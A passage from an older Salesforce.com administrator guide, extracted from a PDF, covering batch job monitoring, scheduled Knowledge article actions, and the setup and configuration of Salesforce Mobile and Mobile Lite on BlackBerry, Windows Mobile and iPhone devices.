Records The number of records processed in this batch at the time the request was sent. This number increases as
Processed more batches are processed.

727
Monitoring Monitoring Automated Process Actions

Field Description
Retry Count The number of times that Salesforce.com attempted to save the results of an operation. The repeated
attempts are due to a problem, such as lock contention or a batch taking too long to process.
Start Time The date and time in the UTC time zone when the batch was created. This is not the time processing
began, but the time the batch was added to the job.
State Contains the reasons for failure if the batch didn't complete successfully.
Message

Status The current state of processing for the batch:


• Queued: Processing of the batch has not started yet. If the job associated with this batch is aborted,
this batch will not be processed and its state is set to Not Processed.
• In Progress: The batch is currently being processed. If the job associated with this batch is aborted,
this batch is still processed to completion.
• Completed: The batch has been processed completely and the result resource is available. The result
resource indicates if some records have failed. A batch can be completed even if some or all the records
have failed. If a subset of records failed, the successful records are not rolled back.
• Failed: The batch failed to process the full request due to an unexpected error, such as the request
being compressed with an unsupported format, or an internal server error.
• Not Processed: The batch failed to process the full request due to an unexpected error, such as the
request being compressed with an unsupported format, or an internal server error.

Total The number of milliseconds taken to process the batch. This excludes the time the batch waited in the
Processing queue to be processed.
Time (ms)

See Also:
Monitoring Bulk Data Load Jobs
Developer's Guide: Force.com Bulk API Developer's Guide

Monitoring Automated Process Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage automated-process actions: “Modify All Data”

Salesforce Knowledge users can schedule articles to be published or archived on a specific date. Use the automated-process
actions queue to view these pending actions and cancel them if necessary.
To view pending actions:

728
Monitoring Monitoring Automated Process Actions

1. Click Setup ➤ Monitoring ➤ Automated Process Actions.


2. Click Search to view all pending actions for any article, or set the filter criteria and click Search to view only the pending
actions that match the criteria. The filter options are:
Process Definition
The process that is triggering the action. This value is always “KBWorkflow.”

Object
The object that triggered the pending action. This value is always “Knowledge Article.”

Scheduled Date
The date the pending actions are scheduled to occur.

Create Date
The date the article that triggered the pending action was created.

Created By
The user who created the article that triggered the pending action.

Record Name
The name of the article that triggered the pending action.

The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2163.

To cancel pending actions:

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce.com cancels the pending action.

See Also:
What is Salesforce Knowledge?
Useful Salesforce Knowledge Terminology
Publishing Articles

729
Salesforce Mobile Salesforce Mobile Overview

SALESFORCE MOBILE

Salesforce Mobile Overview


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

Use Salesforce Mobile to help your mobile teams succeed by keeping them in touch with the latest data, whenever and wherever
they need it, directly from mobile devices such as a BlackBerry®, Treo™, iPhone™, or Windows Mobile®. With Salesforce
Mobile, field professionals are prompted to log information directly in Salesforce.com or Force.com AppExchange apps
immediately after important customer calls, emails, and appointments, so critical information is logged in near real time.
Salesforce Mobile is a Salesforce.com feature that enables users to access their Salesforce.com data from mobile devices running
the mobile client application. The Salesforce Mobile client application exchanges data with Salesforce.com over wireless carrier
networks, and stores a local copy of the user’s data in its own database on the mobile device. Users can edit local copies of their
Salesforce.com records when a wireless connection is unavailable, and transmit those changes when a wireless connection
becomes available.
To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are
sets of parameters that determine the data Salesforce.com transmits to users' mobile devices, and which users receive that data
on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different
types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while
another mobile configuration sends cases to customer support representatives.
After you add users to a mobile configuration, send them a mass email with a link to install the correct mobile client application
on their mobile devices. After installing the client application, users can use the client interface to easily register their devices
with Salesforce.com. Administrators can view information about registered devices and manage mobile users.
A separate Salesforce Mobile license is required for each user who uses a mobile device to access Salesforce.com. For organizations
using Unlimited and Developer Editions, salesforce.com provides one mobile license for each Salesforce.com license.
Organizations using Professional or Enterprise Editions must purchase mobile licenses separately. To allocate Salesforce
Mobile licenses to users within your organization, select the Mobile User checkbox when editing a user's personal information.
For Professional, Enterprise, Unlimited, or Developer Edition users without mobile licenses, Salesforce.com offers Mobile
Lite, a free, restricted version of Salesforce Mobile.
Note: The iPhone and BlackBerry mobile client applications are available in English, Japanese, French, German, and
Spanish. The Windows Mobile client application is available in English and Japanese. Contact salesforce.com to
enable Salesforce Mobile for your organization.

Mobile Lite Overview


Available in: All Editions

730
Salesforce Mobile Mobile Lite Overview

Mobile Lite is a free, restricted version of Salesforce Mobile that is available to any Salesforce.com user who doesn't have a
mobile license.
Mobile Lite users can view, create, edit, and delete accounts, assets, contacts, leads, opportunities, events, tasks, cases, and
solutions. They also have access to their dashboards and Salesforce Chatter feeds.
You can enable Mobile Lite for your organization by editing your mobile settings. The mobile settings also let you control
whether Mobile Lite users have access to all available CRM tabs, or just to dashboards and Chatter.
Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent
users from accessing Salesforce.com from a mobile device.
Mobile Lite doesn't include all of the functionality offered in Salesforce Mobile. Mobile Lite:

• Supports fewer standard objects


• Doesn't provide support for custom objects
• Doesn't allow administrators to customize or create mobile configurations

Mobile Lite users are automatically assigned to the default mobile configuration when they activate their Salesforce.com
account from a supported mobile device. Mobile configurations determine the data sent to each mobile user. Administrators
can't view or edit the default mobile configuration.
Note: Mobile Lite is not supported for partner portal users.

See Also:
Salesforce Mobile Overview
Managing Mobile Devices
Overview of Salesforce Chatter for Mobile

Supported Devices for Mobile


Available in: All Editions

The mobile application can run on BlackBerry, iPhone, and Windows Mobile operating systems, and it's supported by virtually
all wireless carriers—if the device can establish a data connection to the Internet, it can typically run the mobile application.
Recently-released mobile devices may not be immediately supported because every device goes through the official certification
and quality assurance process. For the most current information on supported devices, contact salesforce.com. Below is a list
of supported devices per platform. Verify that your device is supported before installing the mobile application.

BlackBerry Smartphones
The mobile application can run on BlackBerry operating system versions 4.3 through 5.0. Upgrading to the latest version of
the BlackBerry operating system can improve device performance. At a minimum, 2 to 3 MB of free memory should be
available on the device. The mobile client application is supported on these BlackBerry smartphones:
• BlackBerry 8100 Series (Pearl)
• BlackBerry 8300 Series (Curve)

731
Salesforce Mobile Mobile Lite Overview

• BlackBerry 8700 Series


• BlackBerry 8800 Series
• BlackBerry 8900 Series ( Javelin)
• BlackBerry 9000 Series (Bold)
• BlackBerry 9500 Series (Storm)
• BlackBerry 9600 Series (Tour)
• BlackBerry 9700 Series (Bold)
Note:
- Mobile users running versions 4.0–4.3 of the operating system can still download and install the mobile
application; however, the mobile server will detect the older operating system and send version 11.6 of the
mobile application, which was the last release that supported operating system versions 4.0–4.3. Users on version
11.6 of the mobile application can't use any of the new features included in the current release or future releases.
- Although Salesforce.com supports the BlackBerry Storm, some mobile features are not optimized for the touch
screen interface. Mobile features were tested against version 4.7.0.87 of the BlackBerry operating system.
- Starting in Winter '09, Salesforce.com no longer officially supports the BlackBerry 8700 series, although the
mobile application may continue to run on those device models.

Windows Mobile Phones


The mobile application requires Windows Mobile 6 Professional or Windows Mobile 6 Standard. Windows Mobile 6
Professional devices have a touch-screen interface, while Windows Mobile 6 Standard devices do not. Windows Mobile 5
Pocket PC users should contact their carriers for a software upgrade to Windows Mobile 6 Professional. At a minimum, 5
MB of free memory should be available on the device.
The mobile client application is supported on these Windows Mobile 6 Professional devices:
• AT&T Tilt
• PPC6800 (HTC Mogul)
The mobile client application is supported on these Windows Mobile 6 Standard devices:
• MOTO Q 9
• BlackJack II
The mobile application may work on Windows Mobile devices that are not listed here. To verify compatibility, contact your
account executive for a free trial before purchasing any mobile licenses.

iPhones
The mobile application requires the latest iPhone operating system available on iTunes. If the App Store icon is available on
the home screen, you can use the mobile application on your device. Be sure your device has at least 10 MB of available memory
before installing the mobile client application. The mobile application is supported on these devices:
• iPhone
• iPhone 3G
• iPod Touch
Note: Use of the Salesforce Mobile for iPhone product is subject to certain limitations:
• Third parties (including, but not limited to, Apple Inc. and your network connectivity provider) may at any time
restrict, interrupt or prevent use of Salesforce Mobile for the iPhone and iPod touch devices, or delete the Salesforce
Mobile software from iPhone or iPod touch devices, or require salesforce.com to do any of the foregoing, without
entitling the customer to any refund, credit or other compensation from such third party or salesforce.com.

732
Salesforce Mobile Mobile Lite Overview

• Service level agreements do not apply to the Salesforce Mobile for iPhone product. Additional limitations are
described in the Order Form Supplement for Salesforce Mobile for iPhone, which users are required to accept
upon download or installation of the Salesforce Mobile for iPhone product.

Managing Mobile Permissions


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations: “View Setup and Configuration”
To create, change, or delete mobile configurations: “Manage Mobile Configurations”

Users can access their Salesforce.com data from an iPhone, BlackBerry, or Windows Mobile device in a mobile client application.
There are two versions of the mobile application:

• Salesforce Mobile: Salesforce Mobile lets mobile users access data for custom objects and some standard objects.
Administrators can create mobile configurations that determine which records, fields, objects, and tabs are available in the
mobile application.
• Mobile Lite: Mobile Lite is the free version of the mobile product, and it doesn't include all of the functionality offered
in Salesforce Mobile. Mobile Lite supports fewer standard objects, doesn't provide support for custom objects, and doesn't
allow administrators to customize or create mobile configurations.

For organizations using Unlimited and Developer Editions, Salesforce.com provides one mobile license for each Salesforce.com
license. You can allocate mobile licenses using the Mobile User checkbox on the user's record. The Mobile User checkbox
is enabled by default for Unlimited and Developer Edition users. To prevent users from activating Salesforce Mobile on their
mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users.
Mobile Lite users don't need a mobile license to use the product; they can download Mobile Lite for free and activate their
Salesforce.com account. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable
Mobile Lite to prevent users from accessing Salesforce.com from a mobile device.
To disable Mobile Lite:

1. Click Setup ➤ Mobile Administration ➤ Mobile Settings.


2. Click Edit.
3. Deselect Enable Mobile Lite.
4. Click Save.

See Also:
Salesforce Mobile Overview
Mobile Lite Overview

733
Salesforce Mobile Installing the Mobile Application

Installing the Mobile Application


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

You can install the mobile application on any supported BlackBerry smartphone, Windows Mobile device, or iPhone.

See Also:
Salesforce Mobile Overview

BlackBerry Installation
There are two ways to install Salesforce Mobile on a BlackBerry smartphone. You can download the application from either
the Web or BlackBerry App World. To install the mobile client application on a BlackBerry smartphone from the Web:

1. Open your Web browser and navigate to the following URL: mobile.salesforce.com. If you received a Salesforce
Mobile email message from your Salesforce.com administrator, you can also click the download link in the message.
2. Highlight the Download the application link and select Get Link from the menu.
3. Click Download to download the application. If prompted to replace an older version of the client application, click Yes.
Note: The minimum BlackBerry operating system requirement for the mobile application is 4.3. If you're running
versions 4.0–4.3 of the operating system, you can still download and install the mobile application; however, the
mobile server will detect the older operating system and send version 11.6 of the mobile application, which was
the last release that supported operating system versions 4.0–4.3. You can't use any of the new features included
in the current release or future releases until you upgrade to the most recent BlackBerry operating system for your
phone.

4. Click Reboot to restart your device.


5. When prompted to allow an HTTP connection, select the tp.mobile.salesforce.com checkbox. Scroll down and
click Allow this connection.
6. Click the Salesforce Mobile icon, which resides on the home page of your device or in the Applications folder. On newer
phones, the icon may be in the Downloads folder.
7. Read the license agreement and click I Accept.
The Activation page appears.
8. Enter your Salesforce.com username and password.
Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox
is selected by default. To protect your password, deselect the option. An asterisk displays for each character you type.
9. Click Activate to verify your Salesforce.com account and activate the mobile application on the device.
After your username and password are confirmed by Salesforce.com, the data downloads. The initial data download may
last a few minutes. Future updates to the data automatically occur behind the scenes.

To install the mobile client application on a BlackBerry smartphone from BlackBerry App World:

734
Salesforce Mobile Installing the Mobile Application

1. Click the BlackBerry App World icon.


If the icon is not available on your device, you might need to download BlackBerry App World. App World cannot run
on all BlackBerry smartphones, so be sure to review Research in Motion's system requirements before trying to install
BlackBerry App World on your device.
2. Click the Search icon.
3. Type salesforce in the Search field, then click the trackball.
4. In the search results, click Salesforce Mobile.
5. Click Download.
6. After the installation completes, click OK in the message window.
7. When prompted whether to permit Salesforce Mobile to access the phone, click Allow.
8. When prompted whether to permit the application to access tp.mobile.salesforce.com, click Yes.
9. Close BlackBerry App World.
10. Click the Salesforce Mobile icon, which resides on the home page of your device or in the Applications folder. On newer
phones, the icon may be in the Downloads folder.
11. Read the license agreement and click I Accept.
The Salesforce Mobile Activation page appears.
12. Enter your Salesforce.com username and password.
Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox
is selected by default. To protect your password, deselect the option. An asterisk displays for each character you type.
13. Click Activate to verify your Salesforce.com account and activate Salesforce Mobile on the device.
After your username and password are confirmed by Salesforce.com, the data is downloaded, and the icon pulses to show
activity. The initial data download may last a few minutes. Future updates to the data occur automatically.

Windows Mobile Installation


To install the mobile client application on a Windows Mobile device:

1. Open your Web browser and navigate to the following URL: mobile.salesforce.com. If you received a Salesforce
Mobile email message from your Salesforce.com administrator, you can also click the download link in the message.
Note: The installation process for Windows Mobile requires that you use Internet Explorer as the browser.

2. Download the installer.


If your phone has a touch screen:

a. Tap the Download the application link.


b. Verify that the Open file after download checkbox is selected in the Download dialog.
c. Select Yes.

If your phone does not have a touch screen:

a. Select Download, then select Yes.


b. After the application downloads, select Done.

735
Salesforce Mobile Installing the Mobile Application

3. Return to the phone's home page. From the Start menu, select Salesforce Mobile from the list of installed programs.
4. Read the license agreement and select I Accept.
5. Enter your Salesforce.com username and password.
6. Select Activate to verify your Salesforce.com account and activate the mobile application on the device.
After your username and password are confirmed by Salesforce.com, the data downloads, and the icon pulses to show
activity. The initial data download may last a few minutes. Future updates to the data occur automatically.
7. After your records have been downloaded to the device, the login screen appears. The mobile application remembers your
username and only prompts you for your password. Enter your password, and select Login.

iPhone Installation
To install the mobile client application on an iPhone or iPod touch:

1. From the Home screen of your iPhone or iPod touch, tap the App Store icon.
2. Tap Search.
3. Tap the Search field to open the keyboard. Type salesforce.
4. Tap Salesforce Mobile in the list of search results.
5. Tap Salesforce Mobile to view information about the application.
6. Tap Free, and then tap Install.
Note: It does not cost money to download the application from the App Store. Enterprise, Professional, Unlimited,
and Developer Edition users with mobile licenses can run Salesforce Mobile, the full version of the mobile
application. Users without a mobile license can run Mobile Lite, the free, restricted version of the mobile application.

7. Enter your iTunes Store account and password and tap OK.
After you begin downloading the mobile application, its icon appears on your Home screen and shows the status of the
download and installation.
8. The first time you launch the mobile application on your device, you must activate your Salesforce.com account by logging
in and downloading data. Verify that your phone is connected to a network. For greater performance and reliability, use
a Wi-Fi network instead of a cellular network when activating the mobile application.
9. Tap the Salesforce.com icon on the Home screen.
10. Tap I Accept.
11. On the activation screen, enter your Salesforce.com username and password. Tap Done to close the keyboard.
12. Tap Activate.
Caution: Do not close the window or let the device lock. If the application closes, the iPhone operating system
stops the application from running, which causes the activation to fail.

13. The application opens after Salesforce.com accepts your username and password and downloads your records.

Zero-Administration Mobile Deployment


If you have been assigned a mobile license but your administrator has not set up your mobile configuration, you can sign up
for Salesforce Mobile with the default mobile configuration. The default configuration automatically synchronizes the records
you most recently accessed in Salesforce.com to your mobile device. You can also search for and download any records from

736
Salesforce Mobile Managing Mobile Configurations

Salesforce.com that are not available locally on your device. Before you activate the mobile application with the default
configuration:
• Review your personal setup to find out if your user account has been assigned a mobile license. If the Mobile User checkbox
is selected but the Mobile Configuration field is blank, you can activate Salesforce Mobile using the default mobile
configuration.
• Verify that your device is supported and can run the mobile client application.
• Install the client application.

Managing Mobile Configurations


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations: “View Setup and Configuration”
To create, change, or delete mobile configurations: “Manage Mobile Configurations”

To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are
sets of parameters that determine the data Salesforce.com transmits to users' mobile devices, and which users receive that data
on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different
types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while
another mobile configuration sends cases to customer support representatives.
Administrators should note that a default mobile configuration is provided for Professional, Enterprise, Unlimited, and
Developer Edition organizations. Administrators cannot view or edit the default configuration.
To manage your Salesforce Mobile configurations, click Setup ➤ Mobile Administration ➤ Mobile Configurations.

• To define a mobile configuration, click New Mobile Configuration.


• To define data sets for a mobile configuration, click the name of the mobile configuration, then click Edit in the Data Sets
related list.
• To change the properties of mobilized objects, click the name of the mobile configuration, then click Edit next to an object
name in the Mobile Object Properties related list.
• To customize a mobile configuration's tabs, click the name of the mobile configuration, then click Edit in the Mobile
Tabs related list.
• To create custom views for a mobile configuration, click the name of the mobile configuration, then click Edit in the
Mobile Views related list.
• To make changes to a mobile configuration, click Edit.
• To delete a mobile configuration, click Del.
• To view details about a mobile configuration, click its name.
• To clone a mobile configuration, select the mobile configuration you want to clone and click Clone.
• To activate a mobile configuration, click Edit next to the mobile configuration you want to activate, select Active, and
click Save. Deselect Active to deactivate the mobile configuration.

737
Salesforce Mobile Managing Mobile Configurations

Note: After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining
how to register their mobile devices. The registration process creates device records in Salesforce.com, which allows
you to manage your organization's mobile devices.

See Also:
Salesforce Mobile Overview
Sample Data Sets
Salesforce Mobile Implementation Guide
Creating Mobile Links
Sending Emails to Mobile Users
Managing Mobile Devices
Viewing Mobile Device Information
Setting Mobile Session Timeout Values
Erasing Mobile Data

Implementation Tips
Building Lean Data Sets
• Keep the data sets in your mobile configurations as small as possible. Not only do lean data sets greatly improve the
application's performance, but they also make the application easier to use—pushing massive amounts of data to the device
might seem like a good idea, but the important records tend to get lost among the ones that aren't relevant to users'
day-to-day activities. Small data sets are powerful because the mobile application synchronizes with Salesforce.com every
20 minutes, so the data is constantly refreshed with new and updated records. Even if your mobile configurations don't
account for every possible record your users might need, they can search for records that aren't automatically synchronized
to their devices.
To build small data sets:
- Nest the objects in the data set tree. For example, add contacts as a child data set of the account object so that the data
set includes contacts related to the mobilized accounts instead of all the user's contacts.
- Avoid setting the record ownership filter to All Records unless your organization uses a private sharing model. It's
unlikely that users need to see all of an object's records on their devices. Instead of mobilizing all opportunity records,
for example, mobilize just the opportunities owned by the user or the user's sales team.
- Use filters that synchronize the most relevant records. For example, even if you limit the opportunities on the device
to records owned by the user, you could further prune the data set by mobilizing only opportunities closing this month.
- Set a record limit to prevent the data set from getting too large. Generally, a single data set should generate no more
than 2,500 records.

• Another way to build lean data sets is to mobilize the Salesforce.com recent items list, add the data sets, and set the record
ownership filters in your data sets to None (Search Only). The user's data set is populated with records recently accessed
in Salesforce.com, and those records in turn synchronize additional data based on the data set hierarchy. For example, let's
say you create a data set with the account object at the root level and add the contact, task, and event objects as child data
sets. When the mobile application synchronizes an account from the Salesforce.com recent items list, it also synchronizes
the contacts, tasks, and events related to that account.
• If you're not sure which fields to use as filters for your data sets or mobile views, consider using the Last Activity Date
field. For example, set up a filter that synchronizes contacts with an activity logged this week or this month. The Last

738
Salesforce Mobile Managing Mobile Configurations

Activity Date field is a better indicator of a record's relevance than the Last Modified Date field—often the main detail
of a record remains unchanged even though users frequently log related tasks and events.

Mobilizing Records Users Need


• Before mobilizing a custom object, make sure the object's functionality is compatible with the mobile application. The
mobile application does not support s-controls, mashups, merge fields, image fields, or custom links.
• To obtain a relevant set of activities, mobilize the task and event objects at the root level of the data set hierarchy and nest
them under parent objects, like contacts, accounts, and opportunities. Adding tasks and events at multiple levels ensures
that users will see their personal activities and activities related to the records on their devices. Avoid mobilizing too much
activity history or too many tasks and events not owned by the user. Generally, there are more task and event records in
an organization than any other type of record, so it's easy to bloat data sets with too many activities.
• If your sales representatives frequently take orders in the field and need a comprehensive inventory list, add the product
object at the root level of the data set hierarchy. Nesting the opportunity product object below the opportunity object won't
mobilize all products.
• If your users need to assign tasks to other users or change the record owner, mobilize the user object so that the names of
other users will be available on the device. Avoid mobilizing all user records—instead, set up filters based on the role or
profile.
• Be sure that users assigned to a mobile configuration have field-level access to all the fields used in the configuration's filter
criteria. If a user doesn't have access to a field in a data set's filter criteria, the mobile application won't synchronize the
records for that data set or its child data sets.
• You can sometimes use cross-object formula fields to work around limitations of the mobile application. For example, the
mobile application doesn't support campaigns, so you can't add the campaign object as a data set and add the opportunity
object as its child data set to get the related records. However, you can create a text formula field on the opportunity object
equal to the name of the parent campaign. The field needs to be visible, but it doesn't need to be included on your page
layouts. Then add the opportunity object to the data set and use the new formula field to filter opportunities related to a
specific campaign.
• Although a mobile configuration might include an object at multiple levels in the data set hierarchy, users won't see duplicate
tabs in the mobile application. Only one Task tab appears on the device even if you mobilize the task object at the root
level and as a child data set of three objects.

Customizing Mobile Configurations


• Clean up your mobile page layouts by excluding fields from the objects in the mobile configuration. Less data is sent to
the device, and mobile users don't have to scroll through unnecessary fields.
• If you mobilize the Dashboards tab, be sure to select any other tabs that should appear in the mobile application. Customizing
the tabs for a mobile configuration overrides the default tab set—if you only mobilize the Dashboard tab, it will be the
only tab sent to the device.
• The Windows Mobile application doesn't include a standard view for tasks that displays today's tasks. To provide this view
to Windows Mobile users, create a custom mobile view with these filter criteria:
- Assigned To equals $User.ID
- Due Date equals TODAY
To create a view that displays tasks due this week instead of the current day, substitute THIS WEEK for TODAY.
• Due to the small size of mobile device screens, you can only select two display columns for mobile views. If you need three
columns of data, create a text formula field on the object that concatenates the three fields, then use the formula field in
the mobile view criteria.
• When creating mobile views, you can filter based on the current user with the $User.ID global variable, but you can't enter
a user's name as a value in the filter criteria. To build a view based on users, create a text formula field on the appropriate
object, then use the formula field in the mobile view criteria. For example, to create a view that displays opportunities
owned by a sales team, create a text formula field on the opportunity object that contains the opportunity owner's user ID
or role, then create a view that filters on values in that field.

739
Salesforce Mobile Managing Mobile Configurations

Testing and Deploying the Mobile Product


• It's important to test mobile configurations to make sure they're synchronizing an acceptable amount of data. Test
configurations against active users who own a very large number of records. Typically, most data sets generate between
500 KB and 4 MB of data. If the data sets are over 4 MB, refine the filter criteria to limit the amount of data sent to the
device.
• You can use the mobile application in the sandbox before deploying to your organization.
• Use of the mobile application requires a data plan. The wireless data volume for the mobile application varies greatly
between customers and even users in the same organization. It's impossible to predict your organization's data usage, but
we can offer some guidelines:
- The initial data download consists of records that match the criteria specified in the user's mobile configuration and
the metadata needed to support these records when disconnected. On average, the data sizes range from 500 KB–4
MB.
- After the initial download of data, incremental update requests are initiated by the client application every 20 minutes.
Each of these requests and the corresponding server response are approximately 200 bytes.
- If any new data is downloaded to the client application as a result of the update request, only the new or changed values
are sent. For example, the application only downloads the new phone number in a contact record, not the entire contact
record. The amount of data transmitted differs for every organization and every user.
Generally, the volume of data transmitted by the mobile application is low compared to moderate email usage.
• If you're deploying to BlackBerry users, evaluate your corporate network infrastructure before implementing the mobile
solution.

Best Practices
• Use the zero-administration deployment option to experiment with the mobile application before you set up mobile
configurations. You'll create better blueprints for your mobile configurations if you've tried using the mobile application.
• Talk to users about their favorite reports, views, and dashboards to get ideas for what filter criteria to use in mobile
configurations.
• After setting up mobile configurations, deploy the mobile application on a limited basis with a select group of users. Adjust
the mobile setup based on their feedback, then deploy to all of your users.

About the Default Mobile Configuration


Available in: All Editions

Mobile configurations are sets of parameters that determine the data Salesforce.com transmits to users' mobile devices and
which users receive that data on their mobile devices. A default mobile configuration is provided for Professional, Enterprise,
Unlimited, and Developer Edition organizations. Administrators cannot view or edit the default mobile configuration.
The default mobile configuration serves two purposes:

• It allows users with an assigned mobile license to install and activate Salesforce Mobile, even if their administrators have
not yet assigned them to a mobile configuration.

740
Salesforce Mobile Creating Mobile Configurations

Caution: To prevent users from activating Salesforce.com on their mobile devices before you are ready to deploy
mobile in your organization, remove the mobile license from your user accounts by editing the user records and
deselecting the Mobile User checkbox.

• It allows users without an assigned mobile license to install and activate Mobile Lite, which is the free version of Salesforce
Mobile. To prevent users from activating Mobile Lite on their mobile devices, disable Mobile Lite for your organization
by editing your mobile settings.

The default configuration can mobilize the following objects:

• Accounts
• Assets
• Cases
• Contacts
• Dashboards
• Events
• Leads
• Opportunities
• Reports
• Salesforce Chatter Feeds
• Solutions
• Tasks

The default configuration automatically synchronizes records the user recently accessed in Salesforce.com. Users can search
for records that are not automatically synchronized; once the user downloads a record, the record becomes a permanent part
of the data set. In addition to recently accessed records, the default configuration synchronizes activities closed in the past five
days and open activities due in the next 30 days.
Note:

• Assets are not available as a tab in the mobile application. Assets display as a related list for accounts, cases, and
contacts.
• Dashboards are not available in the Windows Mobile client application.

Creating Mobile Configurations


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile configurations: “View Setup and Configuration”
To create, change, or delete mobile configurations: “Manage Mobile Configurations”

To create a mobile configuration:

741
Salesforce Mobile Creating Mobile Configurations

1. Enable Users for Salesforce Mobile


2. Enter Basic Information
3. Assign Users and Profiles
4. Set Total Data Size Limit
5. Complete Your Mobile Configuration

Note: If your organization enabled Mobile Lite, you don't need to create any mobile configurations. Mobile Lite
users are assigned to a default mobile configuration when they activate their Salesforce.com account from a mobile
device. You can't view or edit the default mobile configuration.

Enable Users for Salesforce Mobile


Before creating your mobile configurations, plan which profiles and users you want to assign to each configuration. Each
mobile configuration only affects the mobile devices of users assigned to the configuration.
You can assign individual users and profiles to each mobile configuration. If you assign a profile to a mobile configuration,
the mobile configuration applies to all Salesforce Mobile users with that profile unless a specific user is assigned to another
mobile configuration.
Tip: For ease of administration, we recommend that you assign mobile configurations to profiles; however, you may
have situations in which you need to assign a configuration directly to individual users.

For each user you want to assign to a mobile configuration:


1. Edit the user's record.
2. Select the Mobile User checkbox to allocate a mobile license to the user. This checkbox is enabled by default for Unlimited
Edition users. The Mobile User checkbox doesn't apply to Mobile Lite users because they can access Salesforce.com
from their device without a mobile license.
To prevent Salesforce Mobile users from activating Salesforce.com on their mobile devices before you are ready to deploy
mobile in your organization, disable the checkbox for all your users. If you deselect this checkbox for a user who is already
assigned to a mobile configuration, Salesforce.com removes that user from the mobile configuration. For information on
the Mobile User checkbox, see User Fields on page 27.

For each custom profile to which mobile users are assigned, edit the profile to include the API Enabled permission. Mobile
users need access to the API so that their wireless devices can communicate with Salesforce.com. The API Enabled permission
is enabled by default on standard profiles.

Enter Basic Information


1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations to access the mobile configurations list page.
2. Click New Mobile Configuration.
3. Enter a name for the mobile configuration.
4. Select the Active checkbox if you want to activate the mobile configuration immediately after creating it. The mobile
configuration does not work until you select this checkbox.
If you deactivate an active mobile configuration, Salesforce.com saves all requests from devices of the users assigned to the
mobile configuration for up to one week. If you reactivate the mobile configuration, Salesforce.com executes those requests
in the order received.
5. Optionally, enter a description for the mobile configuration.
6. Optionally, select the Mobilize Recent Items checkbox to mark recently used records in Salesforce.com for device
synchronization.

742
Salesforce Mobile Creating Mobile Configurations

Selecting this option ensures that mobile users assigned to the configuration will not have to search for and download items
they recently accessed on the Salesforce.com website, even if those records do not meet the configuration's filter criteria.
Only records belonging to mobilized objects can be marked for device synchronization; for example, if you do not mobilize
the account object in a configuration, users assigned to that configuration cannot automatically receive recent accounts on
their devices.
7. If you select the Mobilize Recent Items checkbox, select a value from the Maximum Number of Recent Items
drop-down list. Set a low number if your users have minimal free space on their mobile devices.

Assign Users and Profiles


To assign users and profiles to a mobile configuration:
1. In the Search drop-down list, select the type of member to add: users or profiles. This drop-down list is not available if
you have not enabled the Mobile User checkbox on any user records, or if all users are already assigned to a mobile
configuration; in that case, you can only assign profiles to this mobile configuration.
2. If you do not immediately see the member you want to add, enter keywords in the search box and click Find.
3. Select users and profiles from the Available Members box, and click the Add arrow to add them to the mobile
configuration.
You can assign each user and profile to only one mobile configuration.
The Available Members box only displays users who have the Mobile User checkbox enabled. For information on
this checkbox, see User Fields on page 27.
4. If there are users or profiles in the Assigned Members box you do not want to assign to this mobile configuration, select
those users and click the Remove arrow.
Caution: Removing a user from an active mobile configuration deletes the Salesforce.com-related data on the
user's mobile device but does not delete the client application.

Set Total Data Size Limit


Different types of mobile devices offer different memory capacities, and some devices experience serious problems if all of the
flash memory is used. To avoid overloading mobile devices, optionally specify a total data size limit for each mobile configuration.
The total data size limit prevents Salesforce.com from sending too much data to the mobile devices of users assigned to the
mobile configuration.
To set the total data size limit, use the Don't sync if data size exceeds drop-down list to specify the amount of
memory that is consistently available on the mobile devices of users who are assigned to this mobile configuration. If the
combined size of all the data sets exceeds this limit, users assigned to this profile receive an error message on their mobile
devices, and Salesforce.com will not synchronize any data sets in this mobile configuration. Test your mobile configuration
to make sure the data sets do not exceed the total data size limit.
Tip: To reduce the size of your data, do one or more of the following:
• Delete a data set.
• Reduce the scope of your data sets.
• Refine the filter criteria of your data sets.

Complete Your Mobile Configuration


Click Save when you are done. Note that your mobile configuration is not active until you select the Active checkbox.
Next, define the data sets for this mobile configuration to determine the data that members of the mobile configuration receive
on their mobile devices and test the configuration to verify that the data size limit for a user's device will not be exceeded.

743
Salesforce Mobile Defining Data Sets

After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register
their mobile devices. The registration process creates device records in Salesforce.com, which allows you to manage your
organization's mobile devices.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Sending Emails to Mobile Users
Managing Mobile Devices

Defining Data Sets


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile data sets: “View Setup and Configuration”
To create, change, or delete mobile data sets: “Manage Mobile Configurations”

Accessing Salesforce.com from a mobile device is very different than accessing it from your computer. This is because mobile
devices generally have less memory and screen size than computers, and they do not maintain a constant network connection.
To work with these limitations, each Salesforce.com mobile configuration only transfers data sets, which are subsets of the
records users access in the Salesforce.com online user interface. Mobile devices store data sets in on-board databases, allowing
users to access their most important records and work offline when no network connection is available. Salesforce.com
automatically synchronizes the on-board databases when the mobile device reestablishes a network connection.
Each data set can contain records related to a single object and is classified by the name of that object. For example, the
Accounts data set only includes account records.
